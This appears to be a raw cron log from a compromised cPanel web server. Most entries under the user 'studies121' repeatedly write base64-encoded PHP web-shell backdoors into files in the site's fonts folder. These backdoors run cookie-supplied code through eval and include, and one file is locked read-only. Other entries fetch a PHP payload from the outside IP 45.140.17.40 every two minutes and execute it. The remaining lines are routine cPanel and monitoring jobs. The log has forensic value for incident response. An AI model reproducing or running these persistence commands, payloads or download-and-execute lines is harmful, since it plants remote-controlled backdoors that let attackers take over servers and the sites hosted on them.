Sep  2 13:14:01 ip-184-168-122-23 CROND[21757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:14:01 ip-184-168-122-23 CROND[21758]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:14:01 ip-184-168-122-23 CROND[21759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:15:01 ip-184-168-122-23 CROND[21841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:15:01 ip-184-168-122-23 CROND[21845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:15:01 ip-184-168-122-23 CROND[21851]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:15:01 ip-184-168-122-23 CROND[21848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:15:01 ip-184-168-122-23 CROND[21849]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:15:01 ip-184-168-122-23 CROND[21858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:16:01 ip-184-168-122-23 CROND[22039]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:16:01 ip-184-168-122-23 CROND[22041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:16:01 ip-184-168-122-23 CROND[22044]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 13:16:01 ip-184-168-122-23 CROND[22045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:16:01 ip-184-168-122-23 CROND[22043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:16:01 ip-184-168-122-23 CROND[22046]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:17:01 ip-184-168-122-23 CROND[22135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:17:01 ip-184-168-122-23 CROND[22136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:17:01 ip-184-168-122-23 CROND[22137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:17:01 ip-184-168-122-23 CROND[22139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:18:01 ip-184-168-122-23 CROND[22246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:18:01 ip-184-168-122-23 CROND[22245]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:18:01 ip-184-168-122-23 CROND[22249]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:18:01 ip-184-168-122-23 CROND[22251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:18:01 ip-184-168-122-23 CROND[22252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:19:01 ip-184-168-122-23 CROND[22358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:19:01 ip-184-168-122-23 CROND[22360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:19:01 ip-184-168-122-23 CROND[22363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:19:01 ip-184-168-122-23 CROND[22361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:20:02 ip-184-168-122-23 CROND[22479]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 13:20:02 ip-184-168-122-23 CROND[22482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 13:20:02 ip-184-168-122-23 CROND[22483]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:20:02 ip-184-168-122-23 CROND[22480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:20:02 ip-184-168-122-23 CROND[22486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:20:02 ip-184-168-122-23 CROND[22481]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:20:02 ip-184-168-122-23 CROND[22487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:20:02 ip-184-168-122-23 CROND[22484]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:20:02 ip-184-168-122-23 CROND[22488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:21:01 ip-184-168-122-23 CROND[22707]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:21:01 ip-184-168-122-23 CROND[22710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:21:01 ip-184-168-122-23 CROND[22708]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:21:01 ip-184-168-122-23 CROND[22709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:22:02 ip-184-168-122-23 CROND[22786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:22:02 ip-184-168-122-23 CROND[22785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:22:02 ip-184-168-122-23 CROND[22791]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:22:02 ip-184-168-122-23 CROND[22789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:22:02 ip-184-168-122-23 CROND[22792]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:23:01 ip-184-168-122-23 CROND[22900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:23:01 ip-184-168-122-23 CROND[22902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:23:01 ip-184-168-122-23 CROND[22903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:23:01 ip-184-168-122-23 CROND[22904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:24:01 ip-184-168-122-23 CROND[22995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:24:01 ip-184-168-122-23 CROND[22997]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 13:24:01 ip-184-168-122-23 CROND[22998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:24:01 ip-184-168-122-23 CROND[23000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:24:01 ip-184-168-122-23 CROND[23001]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:25:01 ip-184-168-122-23 CROND[23098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 13:25:01 ip-184-168-122-23 CROND[23102]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 13:25:01 ip-184-168-122-23 CROND[23101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 13:25:01 ip-184-168-122-23 CROND[23103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:25:01 ip-184-168-122-23 CROND[23104]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 13:25:01 ip-184-168-122-23 CROND[23100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 13:26:02 ip-184-168-122-23 CROND[23313]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 13:26:02 ip-184-168-122-23 CROND[23314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
